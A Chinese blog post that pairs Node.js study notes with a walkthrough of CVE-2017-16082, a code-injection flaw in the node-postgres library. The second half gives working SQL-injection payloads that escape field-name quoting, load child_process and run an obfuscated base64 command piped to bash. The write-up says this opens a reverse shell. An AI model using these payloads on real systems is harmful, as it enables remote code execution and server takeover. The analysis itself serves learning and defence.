Node.js 学习笔记 && CVE-2017-16082 分析

模块

require 导入模块,可以使用相对路径或绝对路径,末尾的 .js 可以省略。

var foo1 = require('./foo');
var foo2 = require('./foo.js');
var foo3 = require('/home/user/foo');
var foo4 = require('/home/user/foo.js');

// foo1至foo4中保存的是同一个模块的导出对象。

require 还可以直接导入 json 文件:

var data = require('./data.json');

export 导出属性或方法,供别的模块 require 时使用。

exports.hello = function () {
    console.log('Hello World!');
};

可以通过 module 改写 export 对象为函数。

module.exports = function () {
    console.log('Hello World!');
};

Node.js 定义了一个特殊的 node_modules 目录用于存放模块。例如某个模块的绝对路径是 /home/user/hello.js ,在该模块中使用 require('foo/bar') 方式加载模块时,则 Node.js 依次尝试使用以下路径:

 /home/user/node_modules/foo/bar
 /home/node_modules/foo/bar
 /node_modules/foo/bar

可以把文件夹当成一个模块来导入,被称为包(package)。

- /home/user/lib/
    - cat/
        head.js
        body.js
        index.js

index.js 作为入口模块时 require 可省略文件名,以下两例相等。

var cat = require('/home/user/lib/cat');
var cat = require('/home/user/lib/cat/index');

可用 package.json 指定入口模块。

{
    "name": "cat",
    "main": "./lib/main.js"
}

NPM

npm 在我的理解中作用相当于 python 的 pip ,建立了一个 Node.js 生态圈,开发者可以在里面上传和下载第三方的包。

在工程目录下打开终端,使用以下命令来下载三方包。

$ npm install argv
...
[email protected] node_modules\argv

下载好之后, argv 包就放在了工程目录下的 node_modules 目录中,因此在代码中只需要通过 require('argv') 的方式就好,无需指定三方包路径。

以上命令默认下载最新版三方包,如果想要下载指定版本的话,可以在包名后边加上 @<version>

NPM 还对 package.json 的字段做了扩展,允许在其中申明三方包依赖。因此,上边例子中的 package.json 可以改写如下:

{
    "name": "node-echo",
    "main": "./lib/echo.js",
    "dependencies": {
        "argv": "0.0.2"
    }
}

这样处理后,在工程目录下就可以使用 npm install 命令批量安装三方包了。更重要的是,当以后项目上传到了 NPM 服务器,别人下载这个包时, NPM 会根据包中申明的三方包依赖自动下载进一步依赖的三方包。

文件操作

Node.js 对传统的 js 最大的升级就是支持了文件操作和网络编程。内置的 fs 模块对文件读写提供了强大的支持,不仅支持传统的同步文件读写,还支持颇具 js 特色的异步文件读写。

先从最简单的同步文件读写开始,实现一个简单的 copy 命令代码如下:

var fs = require('fs');

function copy(src, dst) {
    fs.writeFileSync(dst, fs.readFileSync(src));
}

function main(argv) {
    copy(argv[0], argv[1]);
}

main(process.argv.slice(2));

这种方法显而易见的就是先用 fs.readFileSync 把文件内容读到内存中,再用 fs.writeFileSync 写到新文件中。但如果一个文件过大,这种方法就会非常吃内存。 fs 模块为此提供了一种读写文件流的方法,使用文件流改写上面代码如下:

var fs = require('fs');

function copy(src, dst) {
    fs.createReadStream(src).pipe(fs.createWriteStream(dst));
}

function main(argv) {
    copy(argv[0], argv[1]);
}

main(process.argv.slice(2));

以上程序使用 fs.createReadStream 创建了一个源文件的只读数据流,并使用 fs.createWriteStream创建了一个目标文件的只写数据流,并且用pipe方法把两个数据流连接了起来。连接起来后发生的事情,说得抽象点的话,水顺着水管从一个桶流到了另一个桶。

Stream 基于事件机制工作,如上面代码中的 pipe 方法等同于:

var rs = fs.createReadStream(src);
var ws = fs.createWriteStream(dst);

rs.on('data', function (chunk) {
    if (ws.write(chunk) === false) {
        rs.pause();
    }
});

rs.on('end', function () {
    ws.end();
});

ws.on('drain', function () {
    rs.resume();
});

fs 模块提供的 API 基本上可以分为以下三类:

  • 文件属性读写。

    其中常用的有 fs.statfs.chmodfs.chown 等等。

  • 文件内容读写。

    其中常用的有 fs.readFilefs.readdirfs.writeFilefs.mkdir 等等。

  • 底层文件操作。

    其中常用的有 fs.openfs.readfs.writefs.close 等等。

Node.js 最精华的异步 IO 模型在 fs模块里有着充分的体现,例如上边提到的这些 API 都通过回调函数传递结果。以 fs.readFile 为例:

fs.readFile(pathname, function (err, data) {
    if (err) {
        // Deal with error.
    } else {
        // Deal with data.
    }
});

如上边代码所示,基本上所有 fs 模块 API 的回调参数都有两个。第一个参数在有错误发生时等于异常对象,第二个参数始终用于返回 API 方法执行结果。

此外, fs 模块的所有异步 API 都有对应的同步版本,用于无法使用异步操作时,或者同步操作更方便时的情况。同步 API 方法名的末尾多了一个 Sync ,如 fs.readFile 的同步版本就是 fs.readFileSync

网络操作

Node.js 也提供了许多网络编程的接口。

http

http 模块既可以用来作为服务端使用也可以用来作为客户端使用。作为服务端使用时,创建一个简单的 http 服务器代码如下:

var http = require('http');

http.createServer(function (request, response) {
    response.writeHead(200, { 'Content-Type': 'text-plain' });
    response.end('Hello World\n');
}).listen(8124);

以上程序创建了一个HTTP服务器并监听8124端口。

http模块创建的HTTP服务器在接收到完整的请求头后,就会调用回调函数。在回调函数中,除了可以使用 request 对象访问请求头数据外,还能把 request 对象当作一个只读数据流来访问请求体数据。

作为客户端使用时,发送一个 POST 请求的代码如下:

var options = {
        hostname: 'www.example.com',
        port: 80,
        path: '/upload',
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    };

var request = http.request(options, function (response) {});

request.write('Hello World');
request.end();

也可以更方便的创建一个 GET 请求:

http.get('http://www.example.com/', function (response) {});

当客户端发送请求并接收到完整的服务端响应头时,就会调用回调函数。在回调函数中,除了可以使用 response 对象访问响应头数据外,还能把 response 对象当作一个只读数据流来访问响应体数据。

Node.js 在处理从别的客户端或服务端收到的头字段时,都统一地转换为了小写字母格式,以便开发者能使用统一的方式来访问头字段,例如 headers['content-length']

https

https 模块与 http 模块极为类似,区别在于 https 模块需要额外处理 SSL 证书。

在服务端模式下,创建一个 HTTPS 服务器的示例如下。

var options = {
        key: fs.readFileSync('./ssl/default.key'),
        cert: fs.readFileSync('./ssl/default.cer')
    };

var server = https.createServer(options, function (request, response) {
        // ...
    });

在客户端模式下,发起一个 HTTPS 客户端请求与 http 模块几乎相同,示例如下。

var options = {
        hostname: 'www.example.com',
        port: 443,
        path: '/',
        method: 'GET'
    };

var request = https.request(options, function (response) {});

request.end();

但如果目标服务器使用的 SSL 证书是自制的,不是从颁发机构购买的,默认情况下 https 模块会拒绝连接,提示说有证书安全问题。在 options 里加入 rejectUnauthorized: false 字段可以禁用对证书有效性的检查,从而允许 https 模块请求开发环境下使用自制证书的 HTTPS 服务器。

net

net模块可用于创建 Socket 服务器或 Socket 客户端。

使用Socket搭建一个 HTTP 服务器:

net.createServer(function (conn) {
    conn.on('data', function (data) {
        conn.write([
            'HTTP/1.1 200 OK',
            'Content-Type: text/plain',
            'Content-Length: 11',
            '',
            'Hello World'
        ].join('\n'));
    });
}).listen(80);

使用 Socket 发起 HTTP 客户端请求:

var options = {
        port: 80,
        host: 'www.example.com'
    };

var client = net.connect(options, function () {
        client.write([
            'GET / HTTP/1.1',
            'User-Agent: curl/7.26.0',
            'Host: www.baidu.com',
            'Accept: */*',
            '',
            ''
        ].join('\n'));
    });

client.on('data', function (data) {
    console.log(data.toString());
    client.end();
});

进程管理

使用 child_process 可以创建和控制子进程,该模块提供的API中最核心的是.spawn,其余API都是针对特定使用场景对它的进一步封装,算是一种语法糖。

使用 child_process.exec 可以调用终端命令,比如调用系统的 cp 命令实现复制文件:

var child_process = require('child_process');
var util = require('util');

function copy(source, target, callback) {
    child_process.exec(
        util.format('cp -r %s/* %s', source, target), callback);
}

copy('a', 'b', function (err) {
    // ...
});

异步编程

Node.js 最大的卖点——事件机制和异步 IO 。

回调 ≠ 异步,因为 JS 本身是单线程运行的。异步的本质是创建一个别的线程或进程,并与 JS 主线程并行地做一些事情,并在事情做完后通知 JS 主线程。典型的异步函数有 setTimeoutsetInterval 以及 Node.js 提供的诸如 fs.readFile 之类的异步 API 。

另外,由于 JS 是单线程运行的, JS 在执行完一段代码之前无法执行包括回调函数在内的别的代码。也就是说,即使平行线程完成工作了,通知 JS 主线程执行回调函数了,回调函数也要等到 JS 主线程空闲时才能开始执行。以下就是这么一个例子。

function heavyCompute(n) {
    var count = 0,
        i, j;

    for (i = n; i > 0; --i) {
        for (j = n; j > 0; --j) {
            count += 1;
        }
    }
}

var t = new Date();

setTimeout(function () {
    console.log(new Date() - t);
}, 1000);

heavyCompute(50000);

-- Console ------------------------------
8520

本来应该在1秒后被调用的回调函数因为 JS 主线程忙于运行其它代码,实际执行时间被大幅延迟。

异步方式下,函数执行结果不是通过返回值,而是通过回调函数传递。

// 同步
var output = fn1(fn2('input'));
// Do something.

// 异步
fn2('input', function (output2) {
    fn1(output2, function (output1) {
        // Do something.
    });
});

异步串行遍历数组:

(function next(i, len, callback) {
    if (i < len) {
        async(arr[i], function (value) {
            arr[i] = value;
            next(i + 1, len, callback);
        });
    } else {
        callback();
    }
}(0, arr.length, function () {
    // All array items have processed.
}));

使用回调 + 递归的方式等一轮异步函数返回结果后才开始下一轮。

异步并行遍历数组:

(function (i, len, count, callback) {
    for (; i < len; ++i) {
        (function (i) {
            async(arr[i], function (value) {
                arr[i] = value;
                if (++count === len) {
                    callback();
                }
            });
        }(i));
    }
}(0, arr.length, 0, function () {
    // All array items have processed.
}));

与异步串行遍历的版本相比,以上代码并行处理所有数组成员,并通过计数器变量来判断什么时候所有数组成员都处理完毕了。

异步函数不能直接在函数外使用 try…catch… 语句捕获异常,而要在异步函数内捕获异常并通过回调函数传出:

function async(fn, callback) {
    // Code execution path breaks here.
    setTimeout(function () {
        try {
            callback(null, fn());
        } catch (err) {
            callback(err);
        }
    }, 0);
}

async(null, function (err, data) {
    if (err) {
        console.log('Error: %s', err.message);
    } else {
        // Do something.
    }
});

-- Console ------------------------------
Error: object is not a function

但是如果调用多个异步函数,每个异步函数都写 try…catch… 语句会很冗余复杂,此时可以通过域(Domain)来全局捕获。

简单的讲,一个域就是一个 JS 运行环境,在一个运行环境中,如果一个异常没有被捕获,将作为一个全局异常被抛出。 Node.js 通过 process 对象提供了捕获全局异常的方法,示例代码如下:

process.on('uncaughtException', function (err) {
    console.log('Error: %s', err.message);
});

setTimeout(function (fn) {
    fn();
});

-- Console ------------------------------
Error: undefined is not a function

还可以调用 domain 模块,使用 .create 方法创建了一个子域对象,并通过 .run 方法进入需要在子域中运行的代码的入口点。而位于子域中的异步函数回调函数由于不再需要捕获异常,代码就能一下子瘦身很多。

function async(request, callback) {
    // Do something.
    asyncA(request, function (data) {
        // Do something
        asyncB(request, function (data) {
            // Do something
            asyncC(request, function (data) {
                // Do something
                callback(data);
            });
        });
    });
}

http.createServer(function (request, response) {
    var d = domain.create();

    d.on('error', function () {
        response.writeHead(500);
        response.end();
    });

    d.run(function () {
        async(request, function (data) {
            response.writeHead(200);
            response.end(data);
        });
    });
});

无论是通过 process 对象的 uncaughtException 事件捕获到全局异常,还是通过子域对象的 error 事件捕获到了子域异常,在 Node.js 官方文档里都强烈建议处理完异常后立即重启程序,而不是让程序继续运行。按照官方文档的说法,发生异常后的程序处于一个不确定的运行状态,如果不立即退出的话,程序可能会发生严重内存泄漏,也可能表现得很奇怪。这不是 JS 本身的 try...catch... 异常处理机制的问题,而是 Node.js 实现的问题。

CVE-2017-16082

这是个老洞了,不过当初因为不会 Node.js 所以并没有看懂,如今正好重新学习一下。

环境搭建

新建一个目录,然后进入目录下执行

npm install [email protected]
npm install koa

新建 index.js ,代码:

const Koa = require('koa')
const { Client } = require('pg')

const app = new Koa()
const client = new Client({
    user: "f1sh",
    password: "f1sh",
    database: "postgres",
    host: "127.0.0.1",
    port: 5432
})
client.connect()

app.use(async ctx => {
    ctx.response.type = 'html'

    let id = ctx.request.query.id || 1
    let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
    const res = await client.query(sql)

    ctx.body = `<html>
                    <body>
                        <table>
                            <tr><th>id</th><td>${res.rows[0].id}</td></tr>
                            <tr><th>name</th><td>${res.rows[0].name}</td></tr>
                            <tr><th>score</th><td>${res.rows[0].score}</td></tr>
                        </table>
                    </body>
                </html>`
})

app.listen(3000)

代码中使用 pg 连接 postgresql ,在查询时存在明显的 SQL 注入漏洞。

使用 vscode 打开目录,调试,在 node_modules/pg/lib/result.js 110行下断点,然后发送 poc :

curl http://127.0.0.1:3000/\?id\=1%3BSELECT%201%20AS%20%22%5C%27%2Bconsole.log\(process.env\)%5D%3Dnull%3B%2F%2F%22

F5 一次后可以看到 Function 的第三个参数 ctorBody 被注入了恶意代码,导致了RCE,控制台输出了 process.env 环境变量信息:

漏洞分析

node_modules/pg/lib/connect.js 348行起:

  switch (this._reader.header) {

    ...

    case 0x54: // T
      return this.parseT(buffer, length)

    ...
  }

在解析 postgresql 的返回包时, this._reader.header 等于 T 的时候,就进入 parseT 方法。 postgresql 返回包中的 T message 返回的是 Row description ,也就是返回的字段数和字段名。

跟进 parseT 方法,在同文件的464行起:

var ROW_DESCRIPTION = 'rowDescription'
Connection.prototype.parseT = function (buffer, length) {
  var msg = new Message(ROW_DESCRIPTION, length)
  msg.fieldCount = this.parseInt16(buffer)
  var fields = []
  for (var i = 0; i < msg.fieldCount; i++) {
    fields.push(this.parseField(buffer))
  }
  msg.fields = fields
  return msg
}

这里触发了一个 rowDescription 消息,把返回包中的字段信息包括字段名、字段类型等都 parse 之后赋值给了 msg.fields

而在 node_modules/pg/lib/clent.js 211行起,监听了 rowDescription 消息:

Client.prototype._attachListeners = function (con) {
  const self = this
  // delegate rowDescription to active query
  con.on('rowDescription', function (msg) {
    self.activeQuery.handleRowDescription(msg)
  })
  ...
}

这里使用 handleRowDescription 方法处理 msg ,跟进 handleRowDescription 方法,在 node_modules/pg/lib/query.js 77行起:

Query.prototype.handleRowDescription = function (msg) {
  this._checkForMultirow()
  this._result.addFields(msg.fields)
  this._accumulateRows = this.callback || !this.listeners('row').length
}

这里将之前 parse 的字段信息 msg.fields 传入了 addFields 方法。

跟进 addFields ,在 node_modules/pg/lib/result.js 90行起:

Result.prototype.addFields = function (fieldDescriptions) {
  // clears field definitions
  // multiple query statements in 1 action can result in multiple sets
  // of rowDescriptions...eg: 'select NOW(); select 1::int;'
  // you need to reset the fields
  if (this.fields.length) {
    this.fields = []
    this._parsers = []
  }
  var ctorBody = ''
  for (var i = 0; i < fieldDescriptions.length; i++) {
    var desc = fieldDescriptions[i]
    this.fields.push(desc)
    var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text')
    this._parsers.push(parser)
    // this is some craziness to compile the row result parsing
    // results in ~60% speedup on large query result sets
    ctorBody += inlineParser(desc.name, i)
  }
  if (!this.rowAsArray) {
    this.RowCtor = Function('parsers', 'rowData', ctorBody)
  }
}

可以看到在这个方法中循环把字段名 desc.name 传入 inlineParser 方法处理后拼接到了 ctorBody 变量中,而这个变量又在下面带入了 Function 类的最后一个参数。

这个 Function 类其实就相当于 PHP 中的 create_function 函数,定义了一个新的方法,前几个参数是传入这个方法的参数,而最后一个参数就是这个参数实际执行的代码,示例如下:

var sum = new Function('a', 'b', 'return a + b');

console.log(sum(2, 6));
// expected output: 8

所以假如我们可以控制 ctorBody 变量,就相当于我们控制了 this.RowCtor 方法执行的代码,也就造成了代码注入。那么跟入 inlineParser 方法看看是如何处理返回的字段名的,在同一个文件的77行起:

var inlineParser = function (fieldName, i) {
  return "\nthis['" +
    // fields containing single quotes will break
    // the evaluated javascript unless they are escaped
    // see https://github.com/brianc/node-postgres/issues/507
    // Addendum: However, we need to make sure to replace all
    // occurences of apostrophes, not just the first one.
    // See https://github.com/brianc/node-postgres/issues/934
    fieldName.replace(/'/g, "\\'") +
    "'] = " +
    'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}

可以看到仅仅只是把字段名中的 ' 替换成了 \' ,然后就拼接到了代码之中。这里就有一个很大问题,如果我们传入的字段名中含有的是 \' ,那么经过替换就成了 \\' ,也就是反斜杠本身被转义了,而单引号并没有受到影响,我们就逃逸除了单引号可以任意写代码了。

那我们怎么控制字段名呢?如果代码中存在注入的话,我们就可以使用 AS 来定义字段名。但这里要注意的是如果使用的是 UNION 语句,返回的字段名实际是 UNION 前的语句的字段名,我们并不一定可控。所幸 pg 这个包支持多语句执行,所以只要使用分号结束上一条语句,就可以任意写第二条语句了。

所以 poc 中传入的是:

1;SELECT 1 AS "\'+console.log(process.env)]=null;//"

这里先闭合了上一条语句,然后在第二条语句中使用 AS 把首字段名定义为了

\'+console.log(process.env)]=null;//

经过替换后拼接到代码中就是:

this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);

先从前面的单引号中逃逸出来,又注释掉了后面的语句,成功注入了 console.log(process.env)

那么这里已经存在任意代码执行了,我们可以上升到任意命令执行吗?如果是前端的 js 的话只能造成 XSS ,但是因为这是 Node.js ,所以我们是可以上升到命令执行的。

在我前面的笔记中也提到了,在 Node.js 中可以引入 child_process 包,其中的 child_process.exec 方法可以调用终端命令。那么利用思路就很明确了。

但是这里还存在几个小问题:

  • 单双引号都不能正常使用,可以使用反引号代替

  • Function 环境下没有 require 函数,直接使用 require('child_process') 会报错:

    但我们可以通过使用 process.mainModule.constructor._load 来代替 require

  • 一个 fieldName 只能有64位长度,但是在之前的代码中可以看到 ctorBody 变量是用所有字段名拼接而成的,所以通过多个 fieldName 拼接来完成利用

最后的payload为:

1;SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo Y3VybCB0b29scy5mMX`+/*", 4 AS "*/`NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);//"

定义了四个字段。

下个断点可以看到最后注入的代码为:

this['\\']=0;require=process.mainModule.constructor._load;/*'] = rowData[0] == null ? null : parsers[0](rowData[0]);
this['*/p=require(`child_process`);/*'] = rowData[1] == null ? null : parsers[1](rowData[1]);
this['*/p.exec(`echo Y3VybCB0b29scy5mMX`+/*'] = rowData[2] == null ? null : parsers[2](rowData[2]);
this['*/`NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);//'] = rowData[3] == null ? null : parsers[3](rowData[3]);

这里通过多个字段名的拼接,再把中间不需要的部分用 /**/给注释掉,就绕过了长度的限制,整理一下最后注入的代码为:

this['\\'] = 0;
require = process.mainModule.constructor._load;
p = require(`child_process`);
p.exec(`echo Y3VybCB0b29scy5mMX` + `NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);

成功引入了 child_process 库并执行了命令反弹 shell :

参考

七天学会NodeJS

node.js + postgres 从注入到Getshell

发表评论